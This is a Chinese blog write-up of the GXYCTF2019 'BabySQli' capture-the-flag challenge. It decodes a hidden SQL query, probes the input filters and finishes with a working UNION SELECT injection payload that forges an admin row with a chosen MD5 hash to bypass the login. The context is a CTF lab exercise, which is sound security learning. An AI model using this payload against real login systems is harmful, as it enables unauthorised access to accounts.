[GXYCTF2019]BabySQli 1

[GXYCTF2019]BabySQli 1

打开实例发现是个登录页,查看源代码未发现有效信息,admin登录,显示密码错误,发现参数namepw

image-20241113104620596

查看源代码发现base编码

image-20241113102752741

解密发现是base32+base64混合编码,并发现解密后的SQL语句,判断注入点为username

select * from user where username = '$name'

image-20241113102951180

尝试万能密码

image-20241113105219974

显示do not hack me!,怀疑是字符被过滤

order by判断字段数,为4显示异常,确认字段数为3

image-20241113105357491

尝试输出数据库语句,经过测试确认括号被过滤

image-20241113110009212

查看源代码,发现确实or = | ()都被过滤了,并且注意到

image-20241113110331347

if($arr[1] == "admin"){
			if(md5($password) == $arr[2]){
				echo $flag;
			}
			else{
				die("wrong pass!");
			}
		}

这边的arr就是字段的位置,所以就是需要字段的第三个位置填入密码和后面pw传递的参数的md5加密的字符串相等

ok,那直接MD5随便加密一个密码

image-20241113110747173

e10adc3949ba59abbe56e057f20f883e

构造payload

name=' UNION SELECT 1,'admin','e10adc3949ba59abbe56e057f20f883e'#&pw=123456

image-20241113110843794

获得flag

flag{fb83a3ca-f885-48e4-bfdc-8630bb78f837}

tips:这道题有个坑点,就是用hacker bar不行,我在hacker bar浪费了很长的时间

posted @ 2024-11-13 11:10  TazmiDev  阅读(251)  评论(1)    收藏  举报